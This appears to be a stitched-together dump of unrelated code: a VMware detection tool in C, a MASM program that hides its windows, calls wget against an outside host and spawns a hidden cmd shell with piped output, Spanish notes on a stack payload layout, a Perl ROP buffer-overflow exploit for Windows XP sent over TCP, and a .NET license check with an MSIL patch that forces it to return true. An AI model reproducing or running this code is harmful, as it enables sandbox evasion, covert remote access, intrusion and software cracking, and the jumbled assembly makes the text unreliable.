/* ScoopyNG - The VMware detection tool
 * Version v1.0
 *
 * Tobias Klein, 2008
 * www.trapkit.de
 */
 
#include <windows.h>
#include <excpt.h>
#include <stdio.h>
 
#define DEBUG	0
#define EndUserModeAddress (*(UINT_PTR*)0x7FFE02B4)
 
typedef LONG (NTAPI *NTSETLDTENTRIES)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);
 
unsigned long
get_idt_base (void)
{
	unsigned char	idtr[6];
	unsigned long	idt	= 0;
 
	_asm sidt idtr
	idt = *((unsigned long *)&idtr[2]);
 
	return (idt);
}
 
unsigned long
get_ldtr_base (void)
{
	unsigned char   ldtr[5] = "\xef\xbe\xad\xde";
	unsigned long   ldt			= 0;
 
	_asm sldt ldtr
	ldt = *((unsigned long *)&ldtr[0]);
 
	return (ldt);
}
 
unsigned long
get_gdt_base (void)
{
	unsigned char   gdtr[6];
	unsigned long   gdt	= 0;
 
	_asm sgdt gdtr
	gdt = *((unsigned long *)&gdtr[2]);
 
	return (gdt);
}
 
void
test1 (void)
{
	unsigned int 	idt_base	= 0;
 
	idt_base = get_idt_base ();
 
	printf ("[+] Test 1: IDT\n");	
	printf ("IDT base: 0x%x\n", idt_base);
 
	if ((idt_base >> 24) == 0xff) {
		printf ("Result  : VMware detected\n\n");
		return;
	}
 
	else {
		printf ("Result  : Native OS\n\n");
		return;
	}
}
 
void
test2 (void)
{
	unsigned int	ldt_base	= 0;
 
	ldt_base = get_ldtr_base ();
 
	printf ("\n[+] Test 2: LDT\n");
	printf ("LDT base: 0x%x\n", ldt_base);
 
	if (ldt_base == 0xdead0000) {
		printf ("Result  : Native OS\n\n");
		return;
	}
 
	else {
		printf ("Result  : VMware detected\n\n");
		return;
	}
}
 
void
test3 (void)
{
	unsigned int	gdt_base	= 0;
 
	gdt_base 	= get_gdt_base ();
 
	printf ("\n[+] Test 3: GDT\n");
	printf ("GDT base: 0x%x\n", gdt_base);
 
	if ((gdt_base >> 24) == 0xff) {
		printf ("Result  : VMware detected\n\n");
		return;
	}
 
	else {
		printf ("Result  : Native OS\n\n");
		return;
	}
}
 
// Alfredo Andrés Omella's (S21sec) STR technique
void
test4 (void)
{
	unsigned char	mem[4] = {0, 0, 0, 0};
 
	__asm str mem;
 
	printf ("\n[+] Test 4: STR\n");
	printf ("STR base: 0x%02x%02x%02x%02x\n", mem[0], mem[1], mem[2], mem[3]);
 
	if ((mem[0] == 0x00) && (mem[1] == 0x40))
		printf ("Result  : VMware detected\n\n");
	else
		printf ("Result  : Native OS\n\n");
}
 
void
test5 (void)
{
	unsigned int	a, b;
 
	__try {
		__asm {
 
			// save register values on the stack
			push eax			
			push ebx
			push ecx
			push edx
 
			// perform fingerprint
			mov eax, 'VMXh'	// VMware magic value (0x564D5868)
			mov ecx, 0Ah		// special version cmd (0x0a)
			mov dx, 'VX'		// special VMware I/O port (0x5658)
 
			in eax, dx			// special I/O cmd
 
			mov a, ebx			// data 
			mov b, ecx			// data	(eax gets also modified but will not be evaluated)
 
			// restore register values from the stack
			pop edx
			pop ecx
			pop ebx
			pop eax
		}
	} __except (EXCEPTION_EXECUTE_HANDLER) {}
 
	#if DEBUG == 1
	printf ("\n [ a=%x ; b=%d ]\n\n", a, b);
	#endif
 
	printf ("\n[+] Test 5: VMware \"get version\" command\n");
 
	if (a == 'VMXh') {		// is the value equal to the VMware magic value?
		printf ("Result  : VMware detected\nVersion : ");
			if (b == 1)
				printf ("Express\n\n");
			else if (b == 2)
				printf ("ESX\n\n");
			else if (b == 3)
				printf ("GSX\n\n");
			else if (b == 4)
				printf ("Workstation\n\n");
			else 
				printf ("unknown version\n\n");
	}
	else 
		printf ("Result  : Native OS\n\n");
}
 
void
test6 (void)
{
	unsigned int	a	= 0;
 
	__try {
		__asm {
 
			// save register values on the stack
			push eax
			push ebx
			push ecx
			push edx
 
			// perform fingerprint
			mov eax, 'VMXh'		// VMware magic value (0x564D5868)
			mov ecx, 14h		// get memory size command (0x14)
			mov dx, 'VX'		// special VMware I/O port (0x5658)
 
			in eax, dx			// special I/O cmd
 
			mov a, eax			// data 
 
			// restore register values from the stack
			pop edx
			pop ecx
			pop ebx
			pop eax
		}
	} __except (EXCEPTION_EXECUTE_HANDLER) {}
 
	printf ("\n[+] Test 6: VMware \"get memory size\" command\n");
 
	if (a > 0)
		printf ("Result  : VMware detected\n\n");
	else 
		printf ("Result  : Native OS\n\n");
}
 
int 
test7_detect (LPEXCEPTION_POINTERS lpep)
{
		printf ("\n[+] Test 7: VMware emulation mode\n");
 
		if ((UINT_PTR)(lpep->ExceptionRecord->ExceptionAddress) > EndUserModeAddress)
			printf ("Result  : VMware detected (emulation mode detected)\n\n");
		else
			printf ("Result  : Native OS or VMware without emulation mode\n"
							"          (enabled acceleration)\n\n");
 
		return (EXCEPTION_EXECUTE_HANDLER);
}
 
void __declspec(naked) 
test7_switchcs ()
{
		__asm {
				pop eax
				push 0x000F
				push eax
				retf
		}
}
 
// Derek Soeder's (eEye Digital Security) VMware emulation test
void
test7 (void)
{
		NTSETLDTENTRIES ZwSetLdtEntries;
		LDT_ENTRY csdesc;
 
		ZwSetLdtEntries = (NTSETLDTENTRIES)GetProcAddress (GetModuleHandle ("ntdll.dll"), "ZwSetLdtEntries");
 
		memset (&csdesc, 0, sizeof (csdesc));
 
		csdesc.LimitLow = (WORD)(EndUserModeAddress >> 12);
		csdesc.HighWord.Bytes.Flags1 = 0xFA;
		csdesc.HighWord.Bytes.Flags2 = 0xC0 | ((EndUserModeAddress >> 28) & 0x0F);
 
		ZwSetLdtEntries (0x000F, ((DWORD*)&csdesc)[0], ((DWORD*)&csdesc)[1], 0, 0, 0);
 
		__try {
				test7_switchcs();
				__asm {
            or eax, -1
            jmp eax
        }
    }
    __except (test7_detect (GetExceptionInformation())) { }
}
 
int
main (void)
{	
	printf ("\n\n####################################################\n");
	printf ("::       ScoopyNG - The VMware Detection Tool     ::\n");
	printf ("::              Windows version v1.0              ::\n\n");
 
	test1 ();
	test2 ();
	test3 ();
	test4 ();
	test5 ();
	test6 ();
	test7 ();
 
	printf ("::                   tk,  2008                    ::\n");
	printf ("::               [ www.trapkit.de ]               ::\n");
	printf ("####################################################\n\n");
 
	return 0;
}

.386
option casemap:none
.model flat,stdcall
include		c:\masm32\include\windows.inc
include		c:\masm32\include\kernel32.inc
include		c:\masm32\include\user32.inc
include		c:\masm32\include\shlwapi.inc
includelib	c:\masm32\lib\kernel32.lib
includelib	c:\masm32\lib\user32.lib
includelib	c:\masm32\lib\shlwapi.lib
 
.const
 
.data
lpString2 byte "NOTE",0
lpCmdLine1 byte "wget.exe http://www.pagina.com/new.php?start=yes&key=111022212 --delete-after",0
lpCmdLine2 byte "wget.exe http://www.pagina.com/register.php?key=1093211 --delete-after",0
lpCmdLine3 byte "cmd",0
lpCmdLine4 byte 100 dup(?)
lpCmdLine4_size byte ?
 
.data?
lpString byte 80 dup(?)
hWnd HANDLE ?
lpOut byte 40 dup(?)
 
sinfo STARTUPINFO <>
pinfo PROCESS_INFORMATION <>
sattb SECURITY_ATTRIBUTES <>
 
hReadPipeOut HANDLE ?
hWritePipeOut HANDLE ?
.code
main PROC
	invoke Sleep,20000d
	invoke WinExec,addr lpCmdLine1,SW_HIDE
	bucle:
	.WHILE(TRUE)
		invoke Sleep,3000d
		invoke GetForegroundWindow
		mov hWnd,eax
		.IF hWnd!=NULL
			invoke GetWindowText,eax,addr lpString, sizeof lpString
			mov edi,offset lpString
			mov eax,dword ptr ds:[lpString2]
			mov ecx,lengthof lpString
			cld
			repne scasb
			jnz bucle
			dec edi
			mov edi,dword ptr ds:[edi]
			cmp eax,edi
			jnz bucle
			invoke WinExec,addr lpCmdLine2,SW_HIDE
			; ---AQUI LO QUE ESTOY INTENTANDO REALIZAR---
			mov sattb.nLength,sizeof sattb
			mov sattb.bInheritHandle,TRUE
			mov sattb.lpSecurityDescriptor,NULL
			invoke CreatePipe,addr hReadPipeOut,addr hWritePipeOut,addr sattb,0
 
			invoke SetHandleInformation,hReadPipeOut,HANDLE_FLAG_INHERIT,NULL
 
			mov eax,hReadPipeOut
 
			mov sinfo.cb,sizeof sinfo
			mov sinfo.dwFlags,STARTF_USESTDHANDLES
			mov sinfo.hStdOutput,eax
			mov sinfo.hStdOutput,eax
			mov sinfo.hStdError,eax
			invoke CreateProcess,NULL,addr lpCmdLine3,NULL,NULL,TRUE,0,NULL,NULL,addr sinfo,addr pinfo
 
			invoke ReadFile,hReadPipeOut,addr lpCmdLine4,sizeof lpCmdLine4,addr lpCmdLine4_size,NULL
			; ------ FIN DE LO QUE ESTOY INTENTANDO REALIZAR -----
			invoke Sleep,1200000d
		.ENDIF
	.ENDW
main ENDP
END main

- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
- Address función oculta 1 (0x40105E).
- Address función oculta 2 (0x401036).

[BASURA][SALTO AL STACK][ADDRESS FUNCION_OCULTA_1][RETORNO][ADDRESS FUNCION_OCULTA_2]

- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
#----INICIO---Ejecución de código dentro del stack
- Mover las direcciones modificadas de las funciones ocultas a los registros (EJ: 0x401036 + 0x11111111h)
- Restar/sumar a las direcciones la modificación para que queden con su valor original.
- CALL Dirección oculta 1
- Call Dirección oculta 2
#----FIN -----Ejecución de código dentro del stack

# Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
# Language         = Spanish
# Required DLL     = kernel32.dll | RPCRT4.dll
# Author           = UND3R
 
use strict;
use Socket;
my $junk = "\x41" x 64;
my $eip = pack('V', 0x7c87f30e);	# kernel32.dll | POP EAX;POP EBP;RETN
my $hidden_two = pack('V', 0x373e47db);	# 0x40105E - 0xC901C883 = 0x373E47DB
my $hidden_one = pack('V', 0x373e47b3);	# 0x401036 - 0xC901C883 = 0x373E47B3
my $rop1 = pack('V', 0x7c80ad03);	# kernel32.dll | ADD EAX,0xC901C883;RETN
my $rop2 = pack('V', 0x7c80b0eb);	# kernel32.dll | XCHG EAX,EBP
my $rop3 = pack('V', 0x7c80ad03);	# kernel32.dll | ADD EAX,0xC901C883;RETN
my $rop4 = pack('V', 0x77e61acc);	# RPCRT4.dll | CALL EAX;RETN
my $rop5 = pack('V', 0x7c80b0eb);	# kernel32.dll | XCHG EAX,EBP
my $rop6 = pack('V', 0x77e61acc);	# RPCRT4.dll | CALL EAX;RETN
 
my $exploit = $junk . $eip . $hidden_two . $hidden_one . $rop1 . $rop2 . $rop3 . $rop4 . $rop5 . $rop6;
 
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 6666;
 
my $proto = getprotobyname('tcp');
 
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
 
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
 
print "[+] Sending payload (size = " . length($exploit) . ") \n";
print SOCKET $exploit."\n";
 
print "[+] Payload sent\n";
close SOCKET or die "close: $!";

}
       if (Class9.checkLic())
       {
           if (Operators.CompareString(Class9.string_3, "Basic Edition", false) == 0)
           {
               this.opt_MusicDuplicates.Enabled = false;
               this.opt_PatternDuplicates.Enabled = false;
               this.opt_MusicDuplicates.Values.ExtraText = "Not Available In Basic Edition";
               this.opt_PatternDuplicates.Values.ExtraText = "Not Available In Basic Edition";
               this.m_Activate.Text = "Activate Upgrade";
               this.m_BuyNow.Text = "Upgrade to Pro Edition";
           }
           else
           {
               this.m_Activate.Visible = false;
               this.m_BuyNow.Visible = false;
           }
 

MSIL
L_004C516E:   ldc.i4.1 (OP CODES = 17) 
L_004C516F:   ret (OP CODES = 2A)